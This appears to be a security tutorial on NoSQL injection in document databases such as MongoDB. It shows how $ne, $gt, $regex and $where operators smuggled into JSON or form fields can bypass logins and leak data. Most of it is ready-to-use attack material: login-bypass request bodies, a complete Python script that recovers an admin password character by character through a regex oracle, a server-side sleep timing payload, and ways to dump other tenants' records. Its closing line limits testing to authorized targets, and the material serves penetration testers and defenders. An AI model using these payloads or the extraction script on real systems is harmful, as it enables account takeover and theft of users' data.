NoSQL Injection: Operator Objects That Bypass the Login
Document databases interpret query operators in untrusted input, letting an attacker turn a login into an always-true match or extract data blindly. We cover detection and authentication-bypass PoCs.
NoSQL injection exploits databases like MongoDB that accept rich query objects: if user input is placed into a query without coercing its type, an attacker can smuggle in operators ($ne, $gt, $regex, $where) that change the query's meaning. The headline result is logging in without a password by making the match condition always true.
Where it hides
The root cause is a query built from a parsed object whose values were never forced to strings. JSON bodies make this easy because the client controls the type of every field:
- Login and authentication endpoints that look up
{user, password}. - Search and filter APIs that pass query params straight into the database.
- Any endpoint that accepts JSON and builds a Mongo (or similar) query from it.
- GraphQL resolvers backed by a document store.
The first probe is type confusion. Where the app expects a string, send an operator object and watch for a behavior change — a successful login, a different result set, or an error naming the database:
POST /api/login HTTP/1.1
Host: app.example.com
Content-Type: application/json
{"username": "admin", "password": {"$ne": "x"}}
If this logs you in as admin, the password was compared with $ne: "x" ("not equal to x"), which is true for the real password — authentication bypassed. For URL-encoded forms, the bracket syntax injects the operator: username=admin&password[$ne]=x. Errors that mention $where, BSON, or a Mongo stack trace confirm the backend. nosqlmap automates operator fuzzing and blind extraction once a parameter looks promising.
Reproducing it
The authentication-bypass repro is the cleanest. When you do not know a username either, make both conditions always true:
POST /api/login HTTP/1.1
Host: app.example.com
Content-Type: application/json
{"username": {"$gt": ""}, "password": {"$gt": ""}}
{"$gt": ""} matches any non-empty value, so the query returns the first user (often an admin) and logs you in. A successful authenticated response with someone else's identity is the proof.
For data extraction, $regex turns the login into a blind oracle that leaks a secret character by character. Each request asks "does the password start with this prefix?" and a successful login means yes:
import requests, string
URL = "https://app.example.com/api/login"
known = ""
charset = string.ascii_letters + string.digits + "_-!@."
while True:
for c in charset:
payload = {"username": "admin",
"password": {"$regex": f"^{known + c}"}}
r = requests.post(URL, json=payload)
if "dashboard" in r.text or r.status_code == 200: # login succeeded
known += c
print("recovered:", known)
break
else:
break
When a login response is identical either way, fall back to $where, which evaluates a JavaScript expression server-side and gives a timing oracle:
POST /api/search HTTP/1.1
Host: app.example.com
Content-Type: application/json
{"$where": "sleep(5000) || this.role=='admin'"}
A 5-second delay proves the expression ran inside the database.
Going further
Operator injection reaches beyond auth. Demonstrate broader impact with the same primitive:
$regex/$neon a search endpoint to dump records you should not see ({"role": {"$ne": "none"}}returns everyone).$whereJavaScript evaluation to read other documents' fields via a boolean/timing oracle.- Operator injection that defeats an ownership filter, returning another tenant's documents.
A useful recon habit is to send [$ne], [$gt], and a raw {} object into every JSON and form field and simply watch for any divergence — count changes, unexpected logins, or database errors all point at an uncoerced query. Capture the injecting request, the operator that flipped the result, and one concrete proof (a session as another user, or a leaked field). Test only on authorized targets with accounts you control.